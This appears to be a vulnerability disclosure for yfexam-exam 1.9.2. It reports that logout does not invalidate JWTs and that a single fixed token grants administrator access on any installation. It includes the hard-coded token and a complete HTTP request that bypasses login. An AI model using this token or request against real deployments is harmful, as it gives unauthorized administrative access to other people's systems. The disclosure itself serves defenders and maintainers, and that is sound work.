YFexam-exam-1.9.2 has JWT defects

[LvZCh]

Source Code Developer: Beijing Yunfan Internet Technology Co., Ltd
Source code name：yfexam-exam
Source code version：1.9.2
Source code official website：https://www.jeedocm.com/?plan=githuby
Source code download link：https://github.com/qiutiandefeng/yfexam-exam/archive/refs/heads/main.zip

Vulnerability description：
Exiting login in src/main/java/com/yf/exam/modules/sys/user/controller/SysUserControl. java does not eliminate JWT, and this system JWT can be used universally. Any server using this system will be attacked. In the interface, change JWT to eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MzQ5NTQ2NjEsInVzZXJuYW1lIjoicGVyc29uIn0.6tEVOLvOYme17vn8p4UF2mTG2oxwtCPgHzgQ7Fxmgga4, and you can log in without logging in. Directly obtain administrator privileges for any system.

Code Audit：
Exiting login in src/main/java/com/yf/exam/modules/sys/user/controller/SysUserControlle.jva did not eliminate jwt

Vulnerability verification：
Currently not logged in

Directly send the following data packet, just change the host to your own IP and port, and JWT does not need to be modified

POST /exam/api/sys/user/paging HTTP/1.1
Host: 192.168.0.106:8101
Content-Type: application/json
token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MzQ5NTQ2NjEsInVzZXJuYW1lIjoicGVyc29uIn0.6tEVOLvOYme17vn8p4UF2mTG2oxwtCPgHzgQ7Fxmga4
Content-Length: 41

{"current":1,"size":10,"params":{},"t":1}

You can directly use a fixed JWT (eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MzQ5NTQ2NjEsInVzZXJuYW1lIjoicGVyc29uIn0.6tEVOLvOYme17vn8p4UF2mTG2oxwtCPgHzgQ7Fxmga4) to call any interface of this system. Any website that uses this system will be attacked, causing great harm